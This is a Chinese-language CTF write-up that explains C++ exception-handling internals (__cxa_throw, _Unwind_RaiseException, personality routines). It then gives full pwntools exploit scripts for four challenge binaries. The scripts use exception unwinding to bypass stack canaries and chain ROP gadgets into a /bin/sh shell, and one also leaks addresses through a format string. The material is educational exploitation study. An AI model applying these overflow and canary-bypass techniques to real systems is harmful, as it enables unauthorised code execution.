原理
介绍
- 异常是一种处理错误的方式,当一个函数发现自己无法处理的错误时就可以抛出异常,让函数的直接或间接的调用者处理这个错误
throw: 当问题出现时,程序会抛出一个异常。这是通过使用 throw 关键字来完成的。
catch: 在您想要处理问题的地方,通过异常处理程序捕获异常.catch 关键字用于捕获异常,可以有多个catch进行捕获
try: try 块中的代码标识将被激活的特定异常,它后面通常跟着一个或多个 catch 块
在函数调用链中异常栈展开匹配原则
- 首先检查throw本身是否在try块内部,如果是再查找匹配的catch语句。如果有匹配的,则调到catch的地方进行处理
- 没有匹配的catch则退出当前函数栈,继续在调用函数的栈中进行查找匹配的catch
- 如果到达main函数的栈,依旧没有匹配的,则终止程序。上述这个沿着调用链查找匹配的catch子句的过程称为栈展开。所以实际中我们最后都要加一个catch(…)捕获任意类型的异常,否则当有异常没捕获,程序就会直接终止
- 找到匹配的catch子句并处理以后,会继续沿着catch子句后面继续执行
主要过程
1)调用 cxa_allocate_exception 函数,分配一个异常对象。
2)调用 cxa_throw 函数,这个函数会将异常对象做一些初始化。
3)__cxa_throw() 调用 Itanium ABI 里的 _Unwind_RaiseException() 从而开始 unwind。
4)_Unwind_RaiseException() 对调用链上的函数进行 unwind 时,调用 personality routine。
5)如果该异常如能被处理(有相应的 catch),则 personality routine 会依次对调用链上的函数进行清理。
6)_Unwind_RaiseException() 将控制权转到相应的catch代码。
从 c++ 的角度看,一个完整的异常处理流程就完成了,当然,其中省略了很多的细节,其中最让人觉得神秘的也许就是 personality routine 了,它是怎么知道当前 Unwind 的函数是否有相应的 catch 语句呢?又是怎么知道该怎样去清理这个函数内的局部变量呢?具体实现这儿先不细说,只需要大概明白,其实它也不知道,只有编译器知道,因此在编译阶段编译器会建立建立一些表项来保存相应的信息,使得 personality routine 可以在运行时通过这些事先建立起来的信息进行相应的查询
_Unwind_RaiseException()函数
其中的 _Unwind_RaiseException() 函数用于进行 stack unwind,它在用户执行 throw 时被调用,主要功能是从当前函数开始,对调用链上每个函数都调用一个叫作 personality routine 的函数(__gxx_personality_v0),该函数由上层的语言定义及提供实现,_Unwind_RaiseException() 会在内部把当前函数栈的调用现场重建,然后传给 personality routine,personality routine 则主要负责做两件事情:
1)检查当前函数是否含有相应 catch 可以处理上面抛出的异常。
2)清掉调用栈上的局部变量。
显然,我们可以发现 personality routine 所做的这两件事情和前面所说的 stack unwind 所要经历的两个阶段一一对应起来了,因此也可以说,stack unwind 主要就是由 personality routine 来完成,它相当于一个 callback。
_Unwind_RaiseException(exception)
{
bool found = false;
while (1)
{
// 建立上个函数的上下文
context = build_context();
if (!context) break;
found = personality_routine(exception, context, SEARCH);
if (found or reach the end) break;
}
while (found)
{
context = build_context();
if (!context) break;
personality_routine(exception, context, UNWIND);
if (reach_catch_function) break;
}
}
__Unwind_Resume()函数
这个函数用于在异常被捕获处理后,继续异常的传播。它在一个异常处理块(catch块)处理完异常之后被调用,以继续处理可能还未处理的其他异常或清理任务。
工作流程如下:
在一个catch块处理完异常后,如果需要继续向上传递异常(比如在catch块中又抛出了一个新的异常),则调用__Unwind_Resume。
这个函数会继续沿用之前的异常对象,继续在调用栈上寻找下一个合适的处理点。
__cxa_throw()函数
extern "C" void
__cxxabiv1::__cxa_throw (void *obj, std::type_info *tinfo,
void (_GLIBCXX_CDTOR_CALLABI *dest) (void *))
{
PROBE2 (throw, obj, tinfo);
// Definitely a primary.
__cxa_refcounted_exception *header = __get_refcounted_exception_header_from_obj (obj);
header->referenceCount = 1;
header->exc.exceptionType = tinfo;
header->exc.exceptionDestructor = dest;
header->exc.unexpectedHandler = std::get_unexpected ();
header->exc.terminateHandler = std::get_terminate ();
__GXX_INIT_PRIMARY_EXCEPTION_CLASS(header->exc.unwindHeader.exception_class);
header->exc.unwindHeader.exception_cleanup = __gxx_exception_cleanup;
#ifdef _GLIBCXX_SJLJ_EXCEPTIONS
_Unwind_SjLj_RaiseException (&header->exc.unwindHeader);
#else
_Unwind_RaiseException (&header->exc.unwindHeader);
#endif
// Some sort of unwinding error. Note that terminate is a handler.
__cxa_begin_catch (&header->exc.unwindHeader);
std::terminate ();
}
_Unwind_RaiseException() 最终调用 std::terminate()的可能原因
- 异常处理中的嵌套异常:
在异常处理过程中,如果一个异常是在另一个异常的 catch 块中被抛出,而这个 catch 块没有正确地处理新抛出的异常(或者再次抛出了异常),且没有更外层的 catch 块能处理这个新的异常,这也会导致调用 std::terminate()。这是因为C++标准规定,当处理一个异常时,如果抛出了另一个异常而没有捕获它,程序必须终止。 - 异常规格(exception specification)违规:
如果函数抛出了它的异常规格所不允许的异常类型,而这个违规未被内部的 catch 块处理,那么这也将导致调用 std::unexpected(),而std::unexpected() 默认行为是调用 std::terminate()。
有关做题
- 一般这种题都是有canary的,但是通过异常处理就绕过了canary的检查
- 调用函数的返回地址可以覆盖为 1.其本身的返回地址 2.其他的catch块头部(实际操作发现如果自己加个偏移就不行了,必须是头部,但也可能因为一些原因无法执行,总之要多试试
- 这种题一般都不用泄露libcbase,题目大多有直接后门
例题
beginctf2024 mini_email
- 可以很清楚地看到异常处理结束后直接结束了这个函数调用,那么这个函数调用的canary检测就被绕过了,这就是利用的核心
- 在main中调用vuln,在vuln中调用edit,edit长度不受限制,因此可以覆盖edit函数的返回地址还是它本身,vuln的返回地址为rop链,然后exit后就会执行rop链
- 在本题中不是常见的leave ret的返回,因此找返回地址可以直接dbg找而不是手算,dbg看栈中哪些是elf文件中的函数,任何函数调用的返回地址都受我们掌控
- 如何进行rop和找gadget就不再过多阐述,不过要注意栈对齐
- exp
from pwn import *
from pwnlib.util.packing import p64
from pwnlib.util.packing import u64
context(os='linux', arch='amd64', log_level='debug')
p=process('/home/zp9080/PWN/email')
libc=ELF("/home/zp9080/PWN/libc.so.6")
s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
rn = lambda x : p.recvn(x)
ru = lambda text : p.recvuntil(text)
uu64 = lambda : u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \x1b[0m' % (s, eval(s)))
ls = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') #彩色
def dbg():
gdb.attach(p,"b *0x402A59")
def menu(choice):
ru("Enter your choice:")
sl(str(choice))
def add(size,content):
menu(1)
ru("Enter recipient:")
sl("aabb")
ru("Enter size: ")
sl(str(size))
ru("Enter content: ")
sl(content)
def edit(index,content):
menu(2)
ru("Enter email index to edit: ")
sl(str(index))
ru("Enter new content: ")
sl(content)
def delete(index):
menu(3)
ru("Enter email index to delete: ")
sl(str(index))
def show():
menu(4)
pop_rdx=0x00000000004027fa #: pop rdx ; ret
mov_rdi_rax=0x00000000004027fc# : mov rdi, rax ; jmp rdx; align 2;ret
mov_rax_ret=0x00000000004031f7 # mov rax, qword ptr [rsp - 0x10] ; ret
puts_plt=0x402630
bss=0x409500
puts_got=0x408F58
main_addr=0x403000
ret=0x402f34 #ret 0
ru("Enter your username:")
s(b"aaaa")
add(0x50,"aaaa")
'''
exit后不是常见的leave ret而是下面的
.text:0000000000402FFA add rsp, 20h
.text:0000000000402FFE pop rbx
.text:0000000000402FFF retn
'''
#会先ret,所以rsp=rsp+0x8,再mov rax, qword ptr [rsp - 0x10]就是让rax=puts_got
#垫一个ret栈对齐
payload=b'a'*0x128+p64(0x402ee3)+b'a'*0x20+p64(puts_got)+p64(mov_rax_ret)+p64(pop_rdx)+p64(puts_plt)+p64(mov_rdi_rax)+p64(ret)+p64(main_addr)
edit(1,payload)
menu(5)
libc_base=uu64()-libc.sym['puts']
pop_rdi=libc_base+ 0x2a3e5
sys=libc_base+libc.sym['system']
ru("Enter your username:")
s(b'aaaa')
add(0x50,"aaaa")
binsh = libc_base + next(libc.search(b'/bin/sh'))
#0x000000000040201a : ret 有0x20(space)会导致读取终止
# dbg()
payload=b'a'*0x128+p64(0x402ee3)+b'a'*0x28+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(sys)
edit(1,payload)
menu(5)
lg("libc_base")
lg("sys")
p.interactive()
DASCTF X GFCTF 2024 exception
- 做这个题加深了对C++异常处理的一些理解
- 发现vuln函数的返回地址只能覆盖为pie+0x1408,否则异常处理就会找不到catch块最终会执行abort
- 可以发现catch块正好也在上述代码块的正下方,猜测找catch块的时候可能会通过上述地址来寻找
同时可以发现执行完catch块后是会回到上述地址继续执行相关代码
- 所以只要控制好rbp的值,让 mov rcx, [rbp+var_18]的值刚好为canary,然后在vuln函数中的read覆盖main的返回地址就可以执行main的返回地址的rop
- 然后这个题中vuln函数并没有pop rbp或者leave;ret,自己是动调调出来mov rcx, [rbp+var_18]时rbp为多少,发现刚好为自己覆盖的rbp被赋值给rbp(不知道为什么,反正这种动调就行,初末态法)
- exp
from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import p64
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
# p = process("/home/zp9080/PWN/exception")
p=remote('node5.buuoj.cn',28304)
elf = ELF("/home/zp9080/PWN/exception")
libc=elf.libc
def dbg():
gdb.attach(p,'b *$rebase(0x1333)')
pause()
#DASCTF{1eeeb280-94cf-44ce-a5d1-eeff93e5803a}
# dbg()
payload=b'%7$p%9$p%11$p'
p.sendafter("please tell me your name\n",payload)
canary=int(p.recvuntil(b"00").decode(),16)
pie=int(p.recv(14),16)-0x001480
libcbase=int(p.recv(14),16)-0x024083
p.recvuntil("where is the stack\n")
stack=int(p.recv(14),16)
print(hex(canary))
print(hex(pie))
print(hex(libcbase))
print(hex(stack))
#
pop_rdi=libcbase+0x23b6a
ret=libcbase+0x22679
binsh=libcbase+0x1B45BD
system=libcbase+libc.sym['system']
payload=b'a'*0x68+p64(canary)+p64(stack+0xa0)+p64(pie+0x1408)+b'a'*8+p64(canary)+b'a'*0x18+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)
p.send(payload)
p.interactive()
DASCTF X GFCTF 2024 control
- 这个题和上个题类似,也是要把vuln的返回地址覆盖为0x402237才能正确地找到catch块
- 这个题有一个bss段上的读取,然后vuln的返回地址正好是个leave;ret,当时想了很久这个gift怎么用,发现想要栈迁移然后再来一次异常处理总会报错(猜测时因为不能异常处理多次,也可能别的地方出问题了)
- 最后想着打ret2syscall,bss就正好用来存取/bin/sh\x00这个字符串
- 可以看到通过0x402237找到catch块后也是先执行完catch块后才会执行该地址的指令
- 不用覆盖返回地址,返回地址本身就是0x402237,那么可以partial overwrite rbp存储的值,这样leave;ret就会跳转到一开始read在栈上的rop上进行执行,1/16爆破
- exp
from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import p64
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/control")
# p=remote('10.131.144.212',64819)
elf = ELF("/home/zp9080/PWN/control")
libc=elf.libc
def dbg():
gdb.attach(p,'b *0x402194')
pause()
#410EBF 41119B 4113BD
pop_rdi=0x401c72
pop_rdx=0x401aff
pop_rsi=0x405285
pop_rax=0x462c27
ret=0x40101a
read_addr=0x462170
pop_rbp=0x4020d1
leave_ret=0x402237
# dbg()
bss=0x4D3350
p.sendafter("Gift> ",b'/bin/sh\x00'+b'a'*8)
syscall=0x462180
payload=p64(pop_rdi)+p64(0x4d3350)+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(0x3b)+p64(syscall)
#这里关了alsr所以写成这样的
payload=payload.ljust(0x70,b'a')+b'\xe8\xdd'
p.send(payload)
p.interactive()
羊城杯2024 logger
main函数
trace函数可以发现有漏洞,可以覆盖到src中的内容,和后面的攻击有关
warn函数
注意此处把exception指向了src
exception = __cxa_allocate_exception(8uLL);
*exception = src;
__cxa_throw(exception, (struct type_info *)&`typeinfo for'char *, 0LL );
backdoor函数,这里的rax正好就是存exception指针的寄存器,也就是指向src
一个无关的catch块
都分析完了那就很好打了,见exp
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *0x401C5C')
# p=remote('139.155.126.78',31952)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc
def dbg():
gdb.attach(p,"b *0x40190B")
pause()
menu='Your chocie:'
dbg()
for i in range(8):
p.sendlineafter(menu,str(1))
p.sendafter("You can record log details here: ",b'a'*0x10)
p.sendlineafter("Do you need to check the records? ",'n')
p.sendlineafter(menu,str(1))
p.sendafter("You can record log details here: ",'/bin/sh\x00')
p.sendlineafter("Do you need to check the records? ",'n')
p.sendlineafter("Your chocie:", "2")
bss=0x4040E0
p.sendlineafter("message", b"A" * 0x70 + p64(bss+0x800) + p64(0x401BC7 ) + cyclic(0x20))
p.interactive()